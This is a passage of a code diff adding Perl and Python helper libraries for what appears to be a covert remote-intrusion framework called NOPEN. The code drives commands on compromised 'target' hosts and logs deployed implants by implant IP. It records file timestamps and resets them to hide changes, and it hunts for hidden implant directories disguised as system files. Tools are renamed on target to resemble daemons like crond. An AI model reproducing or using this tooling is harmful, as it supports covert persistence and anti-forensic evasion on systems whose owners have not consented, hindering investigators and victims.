+thismonthfiles=$thismonthfiles, + todayfiles=$todayfiles, +"); + $autoforce = $redo if ($redo and ($today or $thismonth)); +dbg("redo=$redo= autoforce is now=$autoforce= +ARGV=(@ARGV) + +ARGS=(@ARGS) in whendo(@_) with + finished=$finished= + yearmonstr=$yearmonstr= + todaystr=$todaystr= + autoforce=$autoforce= + autoyes=$autoyes= + autoreget=$autoreget= + autoshort=$autoshort= +autonohostinfo=$autonohostinfo= + +RETURN: redo=$redo, + thismonth=$thismonth, + today=$today, +thismonthfiles=$thismonthfiles, + todayfiles=$todayfiles, + +".`ls -alrt $optmp/$findstring.*`); + return ( + $redo, + $thismonth, + $today, + $thismonthfiles, + $todayfiles, + ); +} +#whendo + +sub datefix { + # Given several forms of date, return MM-DD-YYYY + # Works on things like: + # Wed Jan 14 17:19:36 EST 2011 + # 1/14/11 + # 14/1/11 + # 14 jan 11 + # 14 jan 2011 + local($datestr) = (@_); + $datestr =~ s,\s*$,,g; + # Ignore day + $datestr =~ s,(Mon|Tue|Wed|Thu|Fri|Sat|Sun),,i; + # Dash only now + $datestr =~ s/[\/\\,\s]+/-/g; + # Remove long parts of month, if there + $datestr =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)[^-]*,$1,i; + # Remove Time or Time and TimeZone if there + if ($datestr =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+)-(\d+:\d+:\d+(-.*){0,1})-\d+/) { + $datestr =~ s,-$3,,; + } + my ($a,$b,$c) = $datestr =~ /(\d+)-(\d+)-(\d+)/; + unless ($a and $b and $c) { + if ($datestr =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+)-(\d+),,i) { + ($a,$b,$c) = (1+$nummon{ucfirst $1},$2,$3); + } elsif ($datestr =~ s,(\d+)-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+),,i) { + ($a,$b,$c) = (1+$nummon{ucfirst $2},$1,$3); + } + } + ($a,$b) = ($b,$a) if ($a > 12 and $b < 13); + $c +=1900 if ($c < 1900 and $c > 40); + $c += 2000 if ($c < 41); + return "" if ($a < 1 or $a > 12 or + $b < 1 or $b > 31 or + ($a == 2 and $b > 29) or + # skipping leap year logic + #($a == 2 and ($c % 4 and $c % 100) and $b > 28) or + (($a == 9 or $a == 4 or $a == 6 or $a == 11) and $b > 30) + ); + return sprintf("%02d-%02d-%04d",$a,$b,$c); +} +#datefix + +sub readfile { + # In ARRAY mode, we return an array of the output, one line per element (with no newline) + my ($returnarray,$returnfilenames, + %returnfilenames,$val,%morefiles,$wipethem) = (); + foreach my $infile (@_) { + if ($infile eq "ARRAY") { + # We return an array of lines in file(s) + $returnarray = $infile; + } elsif ($infile eq "FILES") { + # We return an array, element 1 is scalar of all content, + # remainder is an array of the file(s) it was in. + $returnfilenames = $infile; + } elsif ($infile eq "WIPE") { + # We remove after closing. + $wipethem = $infile; + } elsif ($infile and $infile =~ /(\*|\?)/) { + foreach my $listing (split(/\n/,`ls -1rdt $infile 2>/dev/null`)) { + $morefiles{$listing}++ if (-f $listing and -s _); + } + } elsif (-f $infile and -s _ and open(READIN,$infile)) { + # Do not do same file twice, skip non-files + unless ($returnfilenames{$infile}++) { + while (my $line = ) { + $val .= $line; + } + } + close(READIN); + if ($wipethem) { + my $newname = basename $infile; + `mkdir -p $optmp/WIPED` unless (-d "$optmp/WIPED"); + rename($infile,"$optmp/WIPED/$newname.".timestamp(short)); + } + } + } + if (keys( %morefiles) > 0) { + return $val . readfile($wipethem,keys(%morefiles)) + unless ($returnfilenames or $returnarray); + return (split(/\n/,$val),readfile($wipethem,$returnarray,keys(%morefiles))) + if $returnarray; + if ($returnfilenames) { + my ($val2,@files) = readfile($wipethem,$returnfilenames,keys(%morefiles)); + return ($val . $val2,uniqify_array(keys(%returnfilenames),@files)); + } + } else { + return $val unless ($returnarray or $returnfilenames); + return (split(/\n/,$val)) if ($returnarray); + if ($returnfilenames) { + return ($val,keys(%returnfilenames)); + } + } +} +#readfile + +sub writefile { + local ($outfile,@content) = (@_); + my $append=""; + if ($outfile eq "APPEND") { + $outfile = shift @content; + $append=">"; + } + preservefile($outfile) unless $append; + my $content = ""; + my $nl = "\n"; + $nl = "" if (scalar(grep /\n/,@content) == @content); + foreach (@content) { + $content .= "$_$nl"; + } + open(WRITEOUT,"$append>$outfile"); + print WRITEOUT $content; + close(WRITEOUT); + return $content; +} +#writefile + +sub doitwrite { + # Do the command, builtin or not, on target, save it where it belongs + # (builtins in $opdown, otherwise in $optargetcommands). + # Returns the scalar content of the output of the commands, except + # in "ARRAY" mode where we return scalar content followed by + # the array of file(s) written to. + local (@commands) = (@_); + my ($writethis,$results,@returnfilenamearray,$docmd) = (); + foreach $docmd (@commands) { + if ($docmd eq "ARRAY") { + @returnfilenamearray = ($docmd); + last; + } + } + foreach $docmd (@commands) { + next if ($docmd eq "ARRAY"); + my ($writeout,$nopenlines,@writeout) = doit($docmd); + next if ($docmd =~ /^\s*\# SKIPPING in -b BUILTIN ONLY MODE/); + my $filename = $docmd; + if ($filename =~ m,^\s*=,) { + # If a NOPEN alias was just run, we use the actual command executed + # as our $filename, not the alias. + my @nopenlines = split(/\n/,$nopenlines); + @nopenlines = grep ! /^\[Saving.*output to:/ , @nopenlines; + @nopenlines = grep ! /^We will be reading from \d+/ , @nopenlines; + + if (my ($match) = $nopenlines[1] =~ m,^\[(.*)\]$,) { + $match =~ s,\s-nohist,,; + #offerabort(" + # + #match=$match= + # + #nopenlines=( + # : ".join("\n : ",@nopenlines)." + #) + #cmd=$docmd= + # + #match=$match= + # + # + #"); + $filename = $match; + $docmd = $filename; + } + } + # We need to strip off L: and T: redirect commands or else we'll get bad filenames. + if ($filename =~ /^(.*)\s*[\.\>]+\s*(L:|T:).*/) { + #offerabort(" + # + #1=$1= + #cmd=$docmd= + #filename=$filename= + # + #"); + $docmd = $1; + $filename = $docmd; + } + #offerabort(" + # + #1=$1= + #cmd=$docmd= + #filename=$filename= + # + #"); + + my $destdir = $optargetcommands; + if ($docmd =~ /^\s*-/) { + $destdir = $opdown; + $filename =~ s,^\s*-,,; + } + + # First char of \\ means we escaped it, e.g. hostname from autonewdone + $filename =~ s,^\\,,; + + # Some special characters, most become underscore + $filename =~ s,[\[\]\*\!\s/\\\$\&],_,g; + + # Semicolon becomes plus + $filename =~ s,;,\+,g ; + + $filename = "${filename}__${nopen_rhostname}" + unless ($destdir =~ /$nopen_rhostname/); + $filename = $filename."__".timestamp("short"); + #dbg("in autoutils doitwrite, filename =$filename= cmd =$docmd="); + + $writethis .= writefile("$destdir/$filename", + "# $docmd\n",@writeout); + push(@returnfilenamearray,"$destdir/$filename") + if (@returnfilenamearray); + + $results .= $writeout; + } + return $results unless @returnfilenamearray; + shift(@returnfilenamearray); + return ($results,@returnfilenamearray); +} +#doitwrite + +sub maybelogtool { + # Given hashed array, log content as: + # Key: value In the hostinfo file and + # KEY=value In the UsedTools.$nopen_rhostname/$toolname.txt file + local (%h) = (@_); +# foreach my $var ("toolname", +# "version", +# "usage", +# "tool status", +# "implant ip", +# "tool comments", +# ) { +# my $varname = $var; +# $varname =~ s, ,_,g; +# my $value = $h{$var}; +# $value = $h{lc $var} unless $value; +# $value = $h{uc $var} unless $value; +# $value = $h{ucfirst $var} unless $value; + + my $toolname = $h{"Tool"}; + $toolname = $h{"tool"} unless $toolname; + $toolname = $h{"TOOL"} unless $toolname; +} +#maybelogtool + +sub filetimesave { + # Use -ls -n to save m/atimes of a file (just once per op tho, + # use previous result from global %host_touchlater). + # That can be used later from the global %host_touchlater to set + # the times back. + # NOTE: TO save times for a file containing an @ symbol, use ? instead, + # EVEN when calling filetimesave(). + # RETURNS: array of touch lines for files just sent. + return () unless ($socket); + local(@savetimefiles) = (@_); + my ($result,@results) = (); + mydie("You cannot send filenames containing an \@ to filetimesave, sorry.") + if ("@savetimefiles" =~ m,\@,); + foreach my $savetimefile (@savetimefiles) { + $savetimefile = escapestr($savetimefile); + unless ($host_touchlater{$savetimefile}) { + ($result) = doit("-ls -dn $savetimefile"); + chomp($result); + my ($mtime,$atime) = $result =~ /-touch -t (\d+):(\d+)\s+$savetimefile/; + ($mtime,$atime) = $result =~ /-touch -t (\d+):(\d+)\s+$savetimefile2/ + unless ($mtime and $atime); + next unless ($mtime and $atime); + newhostvar("host_touchlater{$savetimefile}",$result); + } + push(@results,$host_touchlater{$savetimefile}); + } + + return @results; +} +#filetimesave + +sub filetimeresets { + # Use global -touch lines stored in %host_touchlater to + # touch times back. Called with NO arguments, it does ALL of them, + # or send a list of remote file paths to touch back. + # NOTE: Repeated calls to filetimeresets() with no arguments will + # touch timestamps back even if that touch was just done. + + # RETURNS: NOPEN output from -touch lines just executed. + + return () unless ($socket); + local (@touchfiles) = (@_); + my @touchlines = (); + if (@touchfiles) { + foreach (@touchfiles) { + push(@touchlines,$host_touchlater{$_}) + if ($host_touchlater{$_}); + } + } else { + @touchlines = keys %host_touchlater; + } + return doit(sort by_path_depth @touchlines) + if (@touchlines > 0); + return (); +} +#filetimeresets + +sub logtool { + dbg("In logtool(@_)"); + # Given a tool name, version, success status, usage pattern and an optional + # comment, build a UsedTools entry that is stored in $opdown/UsedTools.$nopen_rhostname + # and in $opdown/hostinfo.$nopen_rhostname for later storage. + # + # If any of the four required variables are empty, prompt the user for appropriate + # values. (See also autologtool usage, via -gs logtool -h.) + local ($name,$version,$success,$usage,$comment,$otherhostname,$filename,@otherlines) = (@_); + $name = uc $name; + my $LOGTOOLVER="1.1.0.2"; + + # This is just in case some other script calls us that is unaware of the + # new -f FNAME option to autologtool. + + unless (-f $filename) { + @otherlines = ($filename,@otherlines) if (length $filename); + $filename=""; + } + + # This tracks tools that we've seen before. The hash key is the name and the value + # is the tool version. + my %seentools = (); + my $abortstr = "ABORT"; + my $nopenmore = ""; + + $optmp = "." unless (-d $optmp); + $opdown = "." unless (-d $opdown); + + while ($otherhostname or !$nopen_rhostname or !$nopen_myip) { + unless ($otherhostname) { + my ($ans,$longans) = mygetinput + ($nopenmore. + "What is the target's HOST.IP (or at least the IP)?", + $abortstr + ); + mydie("Aborted by user") if ($longans eq $abortstr); + $otherhostname = $longans; + undef $otherhostname; + } + + $nopen_rhostname = $otherhostname; + ($nopen_hostonly) = $nopen_rhostname =~ /(.*)\.\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ; + $nopen_hostonlyexpr = $nopen_hostonly; + $nopen_hostonlyexpr =~ s,[\s\[\]\{\}\$],.,g; + + ($nopen_myip) = $nopen_rhostname =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/ ; + last if $nopen_myip; + $nopenmore = "$COLOR_FAILURE You must enter a string that ends with an IP address.\n". + "$COLOR_NORMAL\n"; + } + + # Store the acquired info in the UsedTools directory and hostinfo file. + my $tooldir = "$opdown/UsedTools.$nopen_rhostname"; + my $hostfile = "$opdown/hostinfo.$nopen_rhostname"; + + offerabort + ("Normally, NOPEN should have run autodone by this time and\n\n". + " $hostfile\n\n". + "would exist by now. You can abort now and run:\n\n". + " -gs auto new\n\n". + "if you want a complete hostinfo file for $prog to append to.\n\n". + "If you continue, $prog will create a partial hostinfo file." + ) unless ($calledviacommandline or -s $hostfile); + + unless ($name and $version and $success and $usage) { + while (!$name) { + progprint("Invalid tool name entered!\n($name)\n\n". + "Must not have white space or brackets.",$COLOR_FAILURE) if $name; + ($ans,$name) = mygetinput("Enter the name of the installed tool:",$abortstr); + mydie("Aborted by user") if ($name eq $abortstr); + redo if ($name =~ /[\s{}\[\]\(\)]/); + } + while (! ($version =~ /^\d+\.*\S*/)) { + progprint("Invalid tool version entered!",$COLOR_FAILURE) if $version; + ($ans,$version) = mygetinput("Enter the version number of the installed tool:",$abortstr); + # Silently remove initial "V" or "v" or "v." or "V." + $version =~ s,^\s*v\.*,,; + mydie("Aborted by user") if ($version eq $abortstr); + } + while (!$success) { + progprint("Invalid tool success status entered!",$COLOR_FAILURE) if $success; + ($ans,$success) = mygetinput(" + Enter the success status for the tool + (valid choices are @toolsuccesses):",$abortstr); + foreach (@toolsuccesses) { + $success = $_ if (/^$success/i); + } + mydie("Aborted by user") if ($success eq $abortstr); + last if !(grep m,$toolsuccess, , @toolsuccesses); + } + while (!$usage) { + progprint("Invalid tool usage entered!",$COLOR_FAILURE) if $usage; + ($ans,$usage) = mygetinput + ("Enter the usage pattern for the tool\n". + "(@toolusages):",$abortstr); + mydie("Aborted by user") if ($usage eq $abortstr); + ($usage) = grep m,^\s*$toolusage,i , @toolusages; + } + + ($ans,$comment) = mygetinput("Enter a comment about this tool:","NONE"); + mydie("Aborted by user") if ($comment eq $abortstr); + $comment = "" if $comment eq "NONE"; + } + + # Create our new entries for the UsedTools directory and the hostinfo file. +dbg("in autologtool logtool, toolname =$name=, toolsuccess =$success=", + "toolversion =$version=, toolcomment =$comment=, toolusage =$usage="); + $newhostinfocontent = "-- +Tool: $name +Version: $version +Usage: $usage +Tool Status: $success +Implant IP: $nopen_myip +Tool Comments:$comment +"; + $newhostinfocontentfile = "-- +TOOL=$name +VERSION=$version +USAGE=$usage +TOOL STATUS=$success +IMPLANT IP=$nopen_myip +TOOL COMMENTS=$comment +"; + + foreach (@otherlines) { + my ($name,$value) = /\s*([^=]+)=(.*)/; + next unless ($name and $value); + $newhostinfocontent .= ucfirst $name . ": $value\n"; + $newhostinfocontentfile .= uc $name . "=$value\n"; + } + # Store the new tool information in the hash. + $seentools{$name} = "$version"; + + mkdir($tooldir); + my $filemore = ""; + if ($filename) { + if ($name eq "SUCTIONCHAR-CONF") { + mydie("\n\nWith $name, the file $filename\n". + "must be an XML file ending in .xml". + "") unless ($filename =~ /\.xml$/ and `file $filename` =~ /^$filename: .*(ascii|xml|sgml|text)/i ); + } + my $newname = basename($filename); + if ($newname =~ /$name/i) { + my ($ans,$longans) = mygetinput + ("Usually on target the NAME of the tool ($name) is not used, instaed something\n". + "like crond, pcscd, or tailwatchd is used.\n\n". + "What name will be used on $nopen_rhostname for this tool?", + "$newname" + ); + $newname = $longans if $longans; + } + $newname .= "_".timestamp(short); + $newname .= "_$name"; + $newname .= "_v$version"; + $newname .= "_$success"; + $newname .= "_$usage"; + $newname =~ s,[\s/],_,g; + mkdir("$tooldir/$name"); + `cp -p $filename $tooldir/$name/$newname 2>/dev/null; chmod -w $tooldir/$name/$newname`; + if ($filemore = `ls -Alrtc $tooldir/$name/ 2>/dev/null`) { + $filemore = "ls -Alrtc $tooldir/$name/\n".$filemore; + } else { + mywarn($COLOR_FAILURE."\n\n". + "ERROR: Could not properly create this file:\n\n". + " $tooldir/$name/$newname"); + } + } + preservefile("$tooldir/$name.txt"); + if (open(OUT,">> $tooldir/$name.txt")) { + print OUT $newhostinfocontentfile if $newhostinfocontentfile; + } + close(OUT); + + # Store the acquired info in the hostinfo file, and detect any + # duplicates when preserving the original hostinfo contents. + if (-e $hostfile) { + rename("$hostfile","$hostfile.old"); + mydie("Cannot write to $hostfile, no changes made") + unless open(HOSTIN,"$hostfile.old"); + } + mydie("Cannot write to $hostfile, no changes made") + unless open(HOSTOUT,">$hostfile"); + print HOSTOUT $newhostinfocontent; + my ($nontoolsection,$repeatedtools,$intool,$inrepeatedtool) = (); + while () { + if (/^Tool: /) { + $intool = 1; + $inrepeatedtool = 0; + foreach my $tool (keys %seentools) { + if (/^Tool: $tool/) { + $repeatedtools .= "--\n"; + $inrepeatedtool = 1; + } + } + } elsif (/^--\n/) { + print HOSTOUT; + $intool = 0; + $inrepeatedtool = 0; + next; + } + $repeatedtools .= $_ + if ($inrepeatedtool); + next if (/^END_TOOLS\n/); + if ($intool) { + print HOSTOUT; + } else { + $nontoolsection .= $_; + } + } + print HOSTOUT "--\n\n"; + print HOSTOUT "END_TOOLS\n"; + print HOSTOUT $nontoolsection; + close(HOSTIN); + close(HOSTOUT); + my $repeatwarning = ""; + $repeatwarning = "\n$COLOR_FAILURE\n". + "WARNING: These tools were in $hostfile more than once:\n". + $repeatedtools."\n\n". + "WARNING: Some tools were in $hostfile more than once.\n" + if $repeatedtools; + if ($filemore) { + my $dir = dirname($filename); + $filemore = $COLOR_NOTE."\n\nThe local file you referenced:$COLOR_NORMAL\n\n". + `ls -alrt $filename`."\n$COLOR_NOTE\n". + "has been copied (read-only) here:\n$COLOR_NORMAL\n". + $filemore."\n\n"; + } + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$newhostinfocontent. + "\n".$extrahostinfocontent. + $repeatwarning. + $filemore + ); + return ($newhostinfocontent,$repeatwarning); +} +#logtool + +sub popalarm { + local($content,$countdown,$visible) = (@_); + # Daemonize unless $visible is set, close all outputs + # sleep $countdownsecs, then + # pop up the $content in an xterm + + dbg("In popalarm(@_)"); + my $countdownsecs = strtoseconds($countdown); + return $countdownsecs unless ($countdownsecs > 0); + + my $setat = gmtime(); + my $delaystr = secstostr($countdownsecs); + + + unless ($visible) { + return $countdownsecs if fork(); + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket) if $socket; + } + + my $more = "by $prog"; + $more .= " in a $nopen_rhostname window" + if ($nopen_rhostname); + + if (-f $content) { + $content = readfile($content); + } + + my $lines = 1+split(/\n/,$content); + + my $shortcontent = substr($content,0,40); + $shortcontent =~ s,\s*$,,; + $shortcontent =~ s,\s, ,g; + my $blanks = "\n" x (33-$lines/2); + $content = $blanks.$content; + + my $tmpfile = "/tmp/.alarmout.$$"; + my $ext = $$; + while (-f $tmpfile) { + $ext++; + $tmpfile = "/tmp/.alarmout.$ext"; + } + open(ALARMOUT,">$tmpfile"); + print ALARMOUT $content; + print ALARMOUT + "$COLOR_FAILURE\n\n". + "Above alarm was set at $setat\n". + " $more\n". + " with a delay of $delaystr\n\n". + "You may ^C this window once you read/act on this.\n"; + + + close(ALARMOUT); + chomp($lines = `cat $tmpfile | wc -l`); + my $winlines = 100+$lines; + my $what = "tail -${winlines}f " if ($lines > 0); + $what = "cat " unless $what; + + + dbg("Lines=$lines= #blanks=".length($blanks)."= wc=".`cat $tmpfile | wc -l`); + + exit if (fork()); + dbg( + `ls -al /tmp/.alarmout.$ext`. + "\n\ncalled popalarm(@_) WHICH WILL (in $countdownsecs) RUN:\n\n". + "xterm -title \"Alarm set at $setat for delay of $delaystr: $shortcontent\" ". + "-bg white -fg black -ut +cm +cn -sk -sb -sl $winlines -geometry 128x67+1302+26 -e $what $tmpfile 2>>/tmp/xterm.err "); + + sleep $countdownsecs; + + dbg( + `ls -al /tmp/.alarmout.$ext`. + "\n\nNOW RUNNING:\n\n". + "xterm -title \"Alarm set at $setat for delay of $delaystr: $shortcontent\" ". + "-bg white -fg black -ut +cm +cn -sk -sb -sl $winlines -geometry 128x67+1302+26 -e $what $tmpfile 2 >> /tmp/xterm.err "); + system( + "xterm -title \"Alarm set at $setat for delay of $delaystr: $shortcontent\" ". + "-bg white -fg black -ut +cm +cn -sk -sb -sl $winlines -geometry 128x67+1302+26 -e $what $tmpfile 2>>/tmp/xterm.err "); + + dbg("xterm system call Returned $?"); + sleep 13; + unlink($tmpfile); + exit; + +} +#popalarm + +sub sumof { + # Returns mathematical sum of elements of @_ + my $sum = 0; + foreach my $n (@_) { + $sum += $n; + } + return $sum; +} +#sumof diff --git a/Linux/etc/autoutils.py b/Linux/etc/autoutils.py new file mode 100755 index 0000000..82cf23b --- /dev/null +++ b/Linux/etc/autoutils.py @@ -0,0 +1,824 @@ +#!/bin/env python + +import os +import re +import sys +import time +import pickle +import random +import socket +import os.path +import traceback +import subprocess +from optparse import OptionParser + +VERSION='1.1.0.7' + +COLOR = { + 'success' : '\33[2;32m', # Green + 'fail' : '\033[2;31m', # Red + 'bad' : '\033[31;07m', # Red Highlight + 'warn' : '\033[3;43m', # Yellow Highlight + 'normal' : '\033[0;39m', # Black + 'note' : '\033[0;34m' # NOPEN Blue +} + +class autoutils: + + def __init__(self): + + # Set the Colors + self.COLOR_SUCCESS = COLOR['success'] + self.COLOR_FAILURE = COLOR['fail'] + self.COLOR_BADFAILURE = COLOR['bad'] + self.COLOR_WARNING = COLOR['warn'] + self.COLOR_NORMAL = COLOR['normal'] + self.COLOR_NOTE = COLOR['note'] + + # Set directories + self.opdir = '/current' + self.opup = '%s/up' % self.opdir + self.opbin = '%s/bin' % self.opdir + self.opetc = '%s/etc' % self.opdir + self.opdown = '%s/down' % self.opdir + self.optmp = '%s/tmp' % self.opdir + + # Set Python module path + sys.path = [self.opetc,self.optmp] + sys.path + + # must have this + if not os.environ.has_key('NOPEN_AUTOPORT'): + sys.stderr.write('Could not find NOPEN_AUTOPORT variable. ' + + 'Must call from NOPEN -gs.\n') + sys.exit(1) + + # Nopen ENV Variables + + self.nopen_autoport = int(os.environ['NOPEN_AUTOPORT']) + self.nopen_serverinfo = os.environ['NOPEN_SERVERINFO'] + self.nopen_clientver = os.environ['NOPEN_CLIENTVER'] + self.nopen_mylog = os.environ['NOPEN_MYLOG'] + self.nopen_rhostname = os.environ['NOPEN_RHOSTNAME'] + self.nopen_nhome = os.environ['NHOME'] + self.nopen_mypid = os.environ['NOPEN_MYPID'] + + self.optargetcommands = os.path.join( + self.opdown, '%s_targetcommands' % self.nopen_rhostname) + + # This is the nopen autoport socket + self.connected = False + self.nopen_socket = None + self.nopen = None + + self.pid = os.getpid() + self.hidden_dir = '' + self.status = {} + self.statusFile = os.path.join(self.optmp, + '%s.%s_pystatus' % (self.nopen_rhostname, self.nopen_mypid)) + self.stateFile = os.path.join(self.optmp, '%s_pystate' % self.nopen_rhostname) + self.state = { + 'linux': False, + 'solaris': False, + 'hpux': False, + 'hpux_it': False + } + + self.tunnel = None + + self.perl_return = False + self.perl_sock_file = '' + + return + + # + # Saves self.state dictionary into a file + # + def saveState(self): + + f = open(self.stateFile, 'wb') + pickle.dump(self.state, f) + f.close() + + # + # Loads a previously saved state + # + def loadState(self): + + if os.path.exists(self.stateFile): + f = open(self.stateFile, 'rb') + self.state = pickle.load(f) + f.close() + + # + # Yea... + # + def help(self, word): + + print ' ___ ' + print ' |_____ | ' + print ' || | | ' + print ' || | | ' + print ' ||O O| | Looks like you\'re trying to %s' % str(word).upper() + print ' || | | Want some help?' + print ' || U | | ' + print ' || | || ' + print ' || | || ' + print ' ||| | || ' + print ' ||| | || ' + print ' ||| | || ' + print ' ||| | || ' + print ' |||__| || ' + print ' ||_____|| ' + print ' |_______| ' + + return + + # + # Takes out any autoutils stuff and then calls the parser's + # parse_args() method. + # args should be an array without the program name (sys.argv[1:]) + # + def parseArgs(self, parser, args, values=None): + + if len(args) > 0: + if args[0].startswith('perl:'): + self.perl_return = True + self.perl_sock_file = sys.argv[1].split(':', 1)[1] + + args = args[1:] + + return parser.parse_args(args, values) + + # + # Makes the connection to the NOPEN autoport. + # This takes care of the forking too. + # + def connect(self): + + os.close(sys.stdout.fileno()) + sys.stdout = sys.stderr + + if not self.connected: + self.nopen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.nopen_socket.connect(('127.0.0.1', self.nopen_autoport)) + self.nopen = self.nopen_socket.makefile() + + self.connected = True + + pid = os.fork() + + if pid != 0: + self.nopen.close() + self.nopen_socket.close() + sys.exit(0) + + self.pid = os.getpid() + + self.nopen.write('#NOGS\n') + self.nopen.flush() + + # going to run -status every time because something could change + # between runs and don't want to get caught with something bad. + self.parsestatus() + + #if not os.path.exists(self.statusFile): + # self.parsestatus() + #else: + # f = open(self.statusFile, 'rb') + # self.status = pickle.load(f) + # f.close() + + self.loadState() + self.saveState() + + return self.nopen + + # + # Does any final stuff with the output, like sending it to a calling + # perl script, then returns back a string of the argument, or unchanged + # if mkstr is False. + # + def finish(self, ret=None, mkstr=True): + + if self.connected: + self.cleanup() + + if not ret: + ret = '' + + if mkstr: + if ret.__class__() == []: + ret_str = '\n'.join(ret) + '\n' + else: + ret_str = str(ret) + + ret = ret_str + + if self.perl_return: + try: + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); + sock.connect((self.perl_sock_file)) + sock.send(ret_str) + sock.close() + except: + print 'Could not connect to %s' % self.perl_sock_file + + return ret + + # + # Returns a list of any hidden directories found. + # + def getHidden(self, refresh=False): + + tmpfile_chrs = '[A-Za-z0-9_-]' * 6 + + parent_dirs_old = [ + '/var/tmp', + '/lib', + '/dev', + '/etc', + '/', + ] + + dirs_old = [ + '.%s' % ('[A-Fa-f0-9]' * 16), + '.tmp%s' % tmpfile_chrs, + ] + + dir_regexs = [ + '/var/spool/.cron%s.bak' % tmpfile_chrs, + '/var/log/.fsck%s.bak' % tmpfile_chrs, + '/lib/.security%s.lock' % tmpfile_chrs, + '/dev/.usb%s.lock' % tmpfile_chrs, + '/etc/.dev%s.save' % tmpfile_chrs, + '/var/tmp/.%s-unix' % tmpfile_chrs, + '/.opt%s.save' % tmpfile_chrs, + ] + + for pd in parent_dirs_old: + for d in dirs_old: + dir_regexs.append(os.path.join(pd, d)) + + parent_dirs = [] + + for dr in dir_regexs: + d = os.path.dirname(dr) + + if not d in parent_dirs: + parent_dirs.append(d) + + lsfile = os.path.join(self.opdown, + 'stoichunt.%s' % self.nopen_rhostname) + + if not os.path.exists(lsfile): + refresh = True + + if refresh: + self.preserveFiles(lsfile) + + output, nopenlines, outputlines = self.doit( + '-ls %s > T:%s' % (' '.join(parent_dirs), lsfile)) + else: + outputlines = file_readlines(lsfile) + + files = [x.strip('\n').split(None, 9)[-1] for x in outputlines] + + dirs = [] + + for f in files: + for r in dir_regexs: + if re.match(r, f): + dirs.append((f, r)) + + if not refresh: + # do a listing of the specific dir's regex to confirm it's there, + # only if it wasn't just done + tolist = ' '.join([x[1] for x in dirs]) + + if tolist: + output, nopenlines, outputlines = self.doit('-ls -d %s' % tolist) + dirs = [x.strip('\n').split(None, 9)[-1] for x in outputlines] + else: + dirs = [x[0] for x in dirs] + + return dirs + + + # + # Ask a question prompt and return the input. + # + def getInput(self, prompt, default=None, color=COLOR['fail']): + + if not prompt: + return None + + if default: + print '%s%s [%s]:%s' % (color, prompt, default, self.COLOR_NORMAL), + else: + print '%s%s:%s' % (color, prompt, self.COLOR_NORMAL), + + sys.stdout.flush() + answer = raw_input().strip() + + if (not answer or answer == '') and default: + return default + + return answer + + # + # pause and wait for a . + # + def pause(self): + print + print '%sHit to continue.%s' % (COLOR['warn'],COLOR['normal']) + sys.stdout.flush() + answer = raw_input().strip() + return + + # + # Not sure what is is supposed to do yet + # + def callPerl(self, cmd): + + self.nopen.write("%s\n" % cmd) + self.nopen.flush() + + return + + # + # Return the current working directory. + # + def getcwd(self): + + return self.status['targetcwd'] + + # + # Parses the output of -status and sets the values dictionary. + # + def parsestatus(self): + + local = True + values = { 'clientver': '', + 'histfile': '', + 'cmdoutfile': '', + 'localcwd': '', + 'nhome': '', + 'localpid': '', + 'serverver': '', + 'wdir': '', + 'targetos': '', + 'targetcwd': '', + 'targetpid': '', + 'targetppid': '', + 'targetport': '' } + + re_status = re.compile('(?P.+[^\s]{1,})\s{2,}(?P.+$)') + + output, nopenlines, lines = self.doit('-status') + + for line in lines: + line = line.strip() + + if line == '[-status]' or not line: continue + if line == 'Local' or line == 'Connection': continue + if line == 'Remote': + local = False + continue + + match = re_status.search(line) + if not match: + continue + + name = match.group('name') + value = match.group('value') + + if name == 'NOPEN client': + values['clientver'] = value + elif name == 'History': + values['histfile'] = value + elif name == 'Command Out': + values['cmdoutfile'] = value + elif name == 'CWD' and local is True: + values['localcwd'] = value + elif name == 'CWD' and local is False: + values['targetcwd'] = value + elif name == 'NHOME': + values['nhome'] = value + elif name == 'PID (PPID)' and local is True: + values['localpid'] = value + elif name.startswith('Remote'): + port = value[value.rfind(':')+1:value.rfind('\)')] + values['targetport'] = port + elif name == 'PID (PPID)' and local is False: + pid,ppid = value.split(' ') + values['targetpid'] = pid[1:-1] + values['targetppid'] = ppid[1:-2] + elif name == 'OS': + values['targetos'] = value + if value.find('SunOS') != -1: + self.state['solaris'] = True + elif value.find('Linux') != -1: + self.state['linux'] = True + elif value.find('HP-UX') != -1: + self.state['hpux'] = True + if value.find('ia64') != -1: + self.state['hpux_it'] = True + elif name == 'NOPEN server': + values['serverver'] = value + elif name == 'WDIR': + values['wdir'] = value + + self.status = values + + f = open(self.statusFile, 'wb') + pickle.dump(self.status, f) + f.close() + + return + + # + # Prints output to the NOPEN window by writing to a local + # file and "-lsh cat" that file. + # + def doprint(self, *msgs): + + whatout = os.path.join(self.optmp, '.whatout.%d' % self.pid) + + fd = open(whatout, 'w') + for m in msgs: + if m.__class__() == []: + for m2 in m: + fd.write(m2) + else: + fd.write(m) + + fd.write('%s\n' % self.COLOR_NORMAL) + fd.close() + + self.doit('-lsh cat %s' % whatout) + + return + + + # + # Runs "-lsh echo" with the string. Should probably use self.doprint() + # instead to avoid dealing with escaping issues. + # + def dolocalecho(self, cmd): + + self.nopen.write('-lsh echo "%s"\n' % cmd) + self.nopen.flush() + + return + + # + # Runs a command through the NOPEN autoport. + # Returns a 3-tuple of two strings and a list: (output, nopenoutput, outputlines) + # output - string of non-nopen lines + # nopenoutput - string of nopen lines + # outputlines - list of non-nopen lines + # + def doit(self, cmd): + + if not cmd.startswith('-put') and not cmd.startswith('mkdir'): + cmd = '%s -nohist' % cmd + + first = True + + self.nopen.write('%s\n' % cmd) + self.nopen.flush() + + nopenlines = [] + outputlines = [] + + re_nopenline = re.compile('^\[.*\]$') + + while self.nopen: + try: + line = self.nopen.readline().strip('\n\r') + except socket.error: + continue + + if line.startswith('NO! '): + nopenlines.append(line) + break + elif 